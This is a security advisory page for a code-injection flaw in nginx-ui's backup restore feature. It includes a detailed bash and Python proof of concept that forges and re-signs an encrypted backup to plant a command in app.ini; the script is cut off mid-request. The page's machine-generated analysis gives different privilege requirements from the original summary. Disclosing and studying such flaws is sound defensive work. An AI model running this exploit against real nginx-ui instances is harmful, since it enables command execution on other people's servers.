CVE-2026-107806: CWE-94: Improper Control of Generation of Code ('Code Injection') in 0xJacky nginx-ui
Description
## Summary An authenticated nginx-ui user can call `POST /api/restore`, upload a forged encrypted backup, restore `app.ini`, set nginx command settings such as `TestConfigCmd`, and then trigger command execution with `POST /api/nginx/test`. This was validated on nginx-ui `2.3.11 2(523) 6c86e5a5` in the local Docker container `uozi/nginx-ui:latest`. ## Impact An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored `app.ini`, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands. ## Affected Version / Environment - Version: `nginx-ui 2.3.11 2(523) 6c86e5a5` - Deployment: local Docker, `uozi/nginx-ui:latest` - Base URL used in validation: `http://127.0.0.1:8080` ## Root Cause `/api/restore` is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored `app.ini` into the live nginx-ui config path. Relevant code paths: - `api/backup/router.go`: `POST /api/restore` - `api/backup/restore.go`: accepts `security_token` and uploaded backup file - `internal/backup/manifest.go`: derives backup signing key from supplied AES key - `internal/backup/restore.go`: `restoreNginxUIConfig` overwrites live `app.ini` - `internal/nginx/exec.go`: nginx command settings execute through shell-backed command paths ## Proof of Concept Assumptions: - nginx-ui is already running. - `$TOKEN` is a valid user JWT. - `$CONTAINER` is the local disposable Docker container name for cleanup and evidence checks. ```bash export BASE='http://127.0.0.1:8080' export TOKEN='<valid nginx-ui JWT>' export CONTAINER='nginx-ui' ``` Run only against a disposable local instance. ```bash set -eu TMP=$(mktemp -d) trap 'rm -rf "$TMP"' EXIT docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original" curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \ -H "Authorization: $TOKEN" \ "$BASE/api/backup" SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers") KEY_B64=${SEC%%:*} IV_B64=${SEC#*:} KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256) IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256) mkdir -p "$TMP/outer" "$TMP/inner" unzip -q "$TMP/backup.zip" -d "$TMP/outer" openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \ -in "$TMP/outer/nginx-ui.zip" \ -out "$TMP/nginx-ui.clear.zip" unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner" python3 - "$TMP/inner/app.ini" <<'PY' from pathlib import Path import sys p = Path(sys.argv[1]) cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce" lines = p.read_text().splitlines() out = [] in_nginx = False seen_nginx = False written = False for line in lines: s = line.strip() if s.startswith("[") and s.endswith("]"): if in_nginx and not written: out.append(cmd) written = True in_nginx = s.lower() == "[nginx]" seen_nginx = seen_nginx or in_nginx if in_nginx and s.startswith("TestConfigCmd"): if not written: out.append(cmd) written = True continue out.append(line) if in_nginx and not written: out.append(cmd) elif not seen_nginx: out.extend(["", "[nginx]", cmd]) p.write_text("\n".join(out) + "\n") PY (cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .) openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \ -in "$TMP/nginx-ui.modified.clear.zip" \ -out "$TMP/outer/nginx-ui.zip" OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY' from pathlib import Path import base64 import hashlib import hmac import json import os outer = Path(os.environ["OUTER"]) key = base64.b64decode(os.environ["KEY_B64"]) manifest = json.loads((outer / "manifest.json").read_text()) for entry in manifest["files"]: data = (outer / entry["name"]).read_bytes() entry["sha256"] = hashlib.sha256(data).hexdigest() entry["size"] = len(data) manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"]) manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode() (outer / "manifest.json").write_bytes(manifest_bytes) signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest() (outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()) PY (cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json) curl -sS -X POST "$BASE/api/restore" \ -H "Authorization: $TOKEN" \ -F "res
CVSS v4.0
Score 9.4critical
Affected software
0xJacky
nginx-ui
pkg:github/0xjacky/nginx-uiRun on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in nginx-ui (versions >=2.3.8 <2.5.0) allows an authenticated administrator with an active secure session to perform a code injection attack via the POST /api/restore endpoint. By submitting attacker-controlled portable backup key material and a matching manifest, the attacker can cause the application to decrypt and restore a manipulated app.ini configuration file. This file includes protected nginx command settings such as TestConfigCmd. Subsequently, invoking POST /api/nginx/test executes the restored command within the Nginx UI runtime context, leading to compromise of confidentiality, integrity, and availability of the system. The vulnerability is tracked as CWE-94 (Improper Control of Generation of Code) and has a CVSS 4.0 base score of 9.4 (critical). The issue is resolved in nginx-ui version 2.5.0.
Potential Impact
Successful exploitation allows an authenticated administrator to execute arbitrary commands within the Nginx UI runtime context by injecting malicious configuration through the restore API. This compromises the confidentiality, integrity, and availability of the affected system. The attack requires high privileges (administrator) and an active secure session, but no user interaction beyond that. There are no known exploits in the wild at this time.
Mitigation Recommendations
Upgrade nginx-ui to version 2.5.0 or later, where this vulnerability is fixed. No other mitigation or workaround is indicated. Since this is a code injection vulnerability exploitable by authenticated administrators, restricting administrator access and session security is advisable until the upgrade is applied.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- GitHub_M
- Date Reserved
- 2026-10-08T21:23:59.820Z
- Cvss Version
- 4.0
- State
- PUBLISHED
Threat ID: 6ac9026b2cdf04f656621283
Added to database: 10/09/2026, 15:04:11 UTC
Last enriched: 10/09/2026, 15:18:35 UTC
Last updated: 10/09/2026, 22:44:34 UTC
Views: 13
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.